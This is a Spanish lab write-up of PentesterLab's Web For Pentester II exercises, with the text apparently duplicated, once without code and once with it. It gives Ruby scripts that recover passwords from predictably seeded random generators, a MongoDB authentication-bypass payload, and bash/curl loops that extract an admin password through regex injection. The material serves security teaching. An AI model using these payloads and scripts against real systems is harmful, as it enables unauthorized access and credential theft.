Teníamos pendiente terminar el segundo laboratorio de Web For Pentesters de Pentesterlab y para ello nos quedaban dos bloques: uno en el que encontraremos distintos problemas derivados por una mala implementación de funciones de aleatorización (Randomness Issues), y el otro en el que tendremos la oportunidad de inyectar en una base de datos NoSQL (MongoDB injection). ¡Vamos a ello!
RANDOMNESS ISSUES
Ejercicio 1:
En el primer ejercicio las instrucciones nos indican que podemos autenticarnos con las credenciales del usuario “hacker”, que dicho usuario ha sido generado en segundo lugar y nos facilitan el código fuente para que obtengamos la contraseña del primer usuario creado, el usuario “admin”:
Como veis el seed es 0 (Random.new(0)) por lo que la contraseña generada siempre será la misma. Entonces sólo tenemos ejecutar el código facilitado y obtendremos la contraseña:
Ejercicio 2:
En el segundo ejercicio el objetivo es el mismo que en el anterior, pero esta vez el código cambia:
En esta ocasión el seed es el timestamp actual. Para obtener la contraseña es necesario crear un script que calcule las contraseñas generadas:
Si lo ejecutamos, obtendremos la contraseña correspondiente:
Ejercicio 3:
Desconozco la rázon, pero el ejercicio 3 es la misma vulnerabilidad que en el ejercicio 1 ¯\_(ツ)_/¯ :
Así que sólo tenemos que ejecutar el código para obtener la contraseña de admin:
Ejercicio 4:
En el último ejercicio no sabemos cuántas veces se ha usado el generador de aleatorios, pero igualmente podemos realizar un ataque de fuerza bruta:
Si ejecutamos también el script, obtendremos rápidamente la contraseña:
MONGODB INJECTION
Ejercicio 1:
MongoDB es una base de datos NoSQL, pero todavía puede explotarse utilizando los mismos métodos (o similares). El primer ejercicio es un ejemplo básico de una inyección SQL, sólo hay que crear una declaración verdadera y encontrar un carácter de escape.
Eso sí, hay que cambiar un poco la sintaxis de la inyección típica ' or 1=1# a ' || 1==1 //
Ejercicio 2:
En el segundo y último ejercicio tendremos que obtener la contraseña del admin manipulando las peticiones GET.
Con la siguiente URL se mostrará el usuario con nombre ‘admin’ sea cual sea la contraseña:
http://vulnerable/mongodb/example2/?search=admin%27%20%26%26%20this.password.match(/./)
Ahora si cambiamos el valor entre ‘/ /’ podremos "adivinar" los caracteres de la contraseña, porque si ese carácter está en la contraseña se mostrará la información del admin, si no no se recuperará nada como se muestra a continuación:
http://vulnerable/mongodb/example2/?search=admin%27%20%26%26%20this.password.match(/k/)
Sabiendo ésto sólo tenemos que recorrer todos los caracteres disponibles y observar la respuesta para obtener todos los caracteres de la contraseña. Para ello, usaremos un sencillo script en bash:
Obviando los símbolos especiales, con esto tenemos todos los caracteres de la contraseña pero de una forma no ordenada. En teoría, para obtener el orden correcto y por tanto la contraseña lo correcto sería usar los símbolos ‘^’ y ‘$’ de tal manera que nos aseguráramos que no existen caracteres en el medio del string. Por ejemplo, en el caso que la contraseña empezara por ‘a’ si consultamos /^a.*$/ la respuesta debería ser verdadera, pero si lo comprobamos la petición no devuelve lo esperado:
http://vulnerable/mongodb/example2/?search=admin%27%20%26%26%20this.password.match(/^a.*$/)//+
La única manera efectiva que encontré es usar dos o más caracteres con el comodín “.”. Por lo que primero lanzamos un sencillo script para obtener las dos primeras letras de la contraseña:
y ya con ésto, iteramos para obtener el resto de la contraseña mediante otro script:
Como veis cuando llega el último carácter entra en bucle infinito, pero es bastante evidente saber cuál es la última letra o probar manualmente las posibilidades restantes.
Así que la password es 'anhazpassw0rd' :)
[Pentesterlab write-ups by Hackplayers] Web For Pentester II:
RANDOMNESS ISSUES
Ejercicio 1:
En el primer ejercicio las instrucciones nos indican que podemos autenticarnos con las credenciales del usuario “hacker”, que dicho usuario ha sido generado en segundo lugar y nos facilitan el código fuente para que obtengamos la contraseña del primer usuario creado, el usuario “admin”:
Como veis el seed es 0 (Random.new(0)) por lo que la contraseña generada siempre será la misma. Entonces sólo tenemos ejecutar el código facilitado y obtendremos la contraseña:
irb(main):001:0> s = Random.new(0)
=> #<Random:0x00559bb31ceab8>
irb(main):002:0> pass = 6.times.map { ('a'..'z').to_a[s.rand(('a'..'z').to_a.size)]}.join
=> "mpvadd"
Ejercicio 2:
En el segundo ejercicio el objetivo es el mismo que en el anterior, pero esta vez el código cambia:
En esta ocasión el seed es el timestamp actual. Para obtener la contraseña es necesario crear un script que calcule las contraseñas generadas:
timestamp = (Time.now.to_f).to_i
seed = Random.new(timestamp)
pass_admin = 6.times.map { ('a'..'z').to_a[seed.rand(('a'..'z').to_a.size)]}.join
pass_hacker = 6.times.map { ('a'..'z').to_a[seed.rand(('a'..'z').to_a.size)]}.join
while pass_hacker !="hbdgyz" do #contraseña del usuario 'hacker'
timestamp = timestamp - 1
seed = Random.new(timestamp)
pass_admin = 6.times.map { ('a'..'z').to_a[seed.rand(('a'..'z').to_a.size)]}.join
pass_hacker = 6.times.map { ('a'..'z').to_a[seed.rand(('a'..'z').to_a.size)]}.join
end
puts "Password de admin: "
puts pass_admin
Si lo ejecutamos, obtendremos la contraseña correspondiente:
$# ruby script1.rb
Password de admin:
qjajcz
Ejercicio 3:
Desconozco la rázon, pero el ejercicio 3 es la misma vulnerabilidad que en el ejercicio 1 ¯\_(ツ)_/¯ :
Así que sólo tenemos que ejecutar el código para obtener la contraseña de admin:
# irb
irb(main):001:0> s = Random.new(0)
=> #<Random:0x0055c8a0bda9c0>
irb(main):002:0> pass = (6+s.rand(5)).times.map { ('a'..'z').to_a[s.rand(('a'..'z').to_a.size)]}.join
=> "pvaddhjtvs"
Ejercicio 4:
En el último ejercicio no sabemos cuántas veces se ha usado el generador de aleatorios, pero igualmente podemos realizar un ataque de fuerza bruta:
n = 1000
seed = Random.new(0)
n.times {seed.rand(5)}
pass_admin = 6.times.map { ('a'..'z').to_a[seed.rand(('a'..'z').to_a.size)]}.join
pass_hacker = 6.times.map { ('a'..'z').to_a[seed.rand(('a'..'z').to_a.size)]}.join
while pass_hacker !="ehxohw" do
n = n - 1
seed = Random.new(0)
n.times {seed.rand(5)}
pass_admin = 6.times.map { ('a'..'z').to_a[seed.rand(('a'..'z').to_a.size)]}.join
pass_hacker = 6.times.map { ('a'..'z').to_a[seed.rand(('a'..'z').to_a.size)]}.join
end
puts "Password de admin: "
puts pass_admin
Si ejecutamos también el script, obtendremos rápidamente la contraseña:
# ruby script2.rb
Password de admin:
pgobeq
MONGODB INJECTION
Ejercicio 1:
MongoDB es una base de datos NoSQL, pero todavía puede explotarse utilizando los mismos métodos (o similares). El primer ejercicio es un ejemplo básico de una inyección SQL, sólo hay que crear una declaración verdadera y encontrar un carácter de escape.
Eso sí, hay que cambiar un poco la sintaxis de la inyección típica ' or 1=1# a ' || 1==1 //
Ejercicio 2:
En el segundo y último ejercicio tendremos que obtener la contraseña del admin manipulando las peticiones GET.
Con la siguiente URL se mostrará el usuario con nombre ‘admin’ sea cual sea la contraseña:
http://vulnerable/mongodb/example2/?search=admin%27%20%26%26%20this.password.match(/./)
Ahora si cambiamos el valor entre ‘/ /’ podremos "adivinar" los caracteres de la contraseña, porque si ese carácter está en la contraseña se mostrará la información del admin, si no no se recuperará nada como se muestra a continuación:
http://vulnerable/mongodb/example2/?search=admin%27%20%26%26%20this.password.match(/k/)
Sabiendo ésto sólo tenemos que recorrer todos los caracteres disponibles y observar la respuesta para obtener todos los caracteres de la contraseña. Para ello, usaremos un sencillo script en bash:
for n in {0..7}{0..7}{0..7}; do
letra=$(echo -e "\\0$n");
respuesta=$(curl --silent "http://vulnerable/mongodb/example2/?search=admin%27%20%26%26%20this.password.match(/$letra/)" | grep admin);
if [ "$respuesta" ]; then
echo -n $letra
fi
done
Obviando los símbolos especiales, con esto tenemos todos los caracteres de la contraseña pero de una forma no ordenada. En teoría, para obtener el orden correcto y por tanto la contraseña lo correcto sería usar los símbolos ‘^’ y ‘$’ de tal manera que nos aseguráramos que no existen caracteres en el medio del string. Por ejemplo, en el caso que la contraseña empezara por ‘a’ si consultamos /^a.*$/ la respuesta debería ser verdadera, pero si lo comprobamos la petición no devuelve lo esperado:
http://vulnerable/mongodb/example2/?search=admin%27%20%26%26%20this.password.match(/^a.*$/)//+
La única manera efectiva que encontré es usar dos o más caracteres con el comodín “.”. Por lo que primero lanzamos un sencillo script para obtener las dos primeras letras de la contraseña:
char1="acdhinprswz0"
char2="acdhinprswz0"
for (( i=0; i<${#char1}; i++ )); do
for (( j=0; j<${#char2}; j++ )); do
echo ${char1:$i:1}${char2:$j:1}
respuesta=$(curl --silent "http://vulnerable/mongodb/example2/?search=admin%27%20%26%26%20this.password.match(/${char1:$i:1}${char2:$j:1}./)" | grep admin);
if [ "$respuesta" ]; then
echo "las primeras letras son ${char1:$i:1}${char2:$j:1}"
exit
fi
done
done
y ya con ésto, iteramos para obtener el resto de la contraseña mediante otro script:
caracteres="0acdhinprswz"
password="an"
while true; do
for (( i=0; i<${#caracteres}; i++ )); do
letra=$(echo "${caracteres:$i:1}")
echo $password$letra
respuesta=$(curl --silent "http://vulnerable/mongodb/example2/?search=admin%27%20%26%26%20this.password.match(/$password$letra./)" | grep admin);
if [ "$respuesta" ]; then
password=$password$letra
fi
done
done
Como veis cuando llega el último carácter entra en bucle infinito, pero es bastante evidente saber cuál es la última letra o probar manualmente las posibilidades restantes.
curl --silent "http://vulnerable/mongodb/example2/?search=admin%27%20%26%26%20this.password.match(/anhazpassw0rd/)" | grep admin
<tr><td><a href="?search=admin">admin</a></td></tr>
Así que la password es 'anhazpassw0rd' :)
[Pentesterlab write-ups by Hackplayers] Web For Pentester II:
SQL Injections | |
---|---|
Authentication | |
Captcha | |
Authorization & Mass Assignment | |
Randomness Issues & MongoDB injection |
Comentarios
Publicar un comentario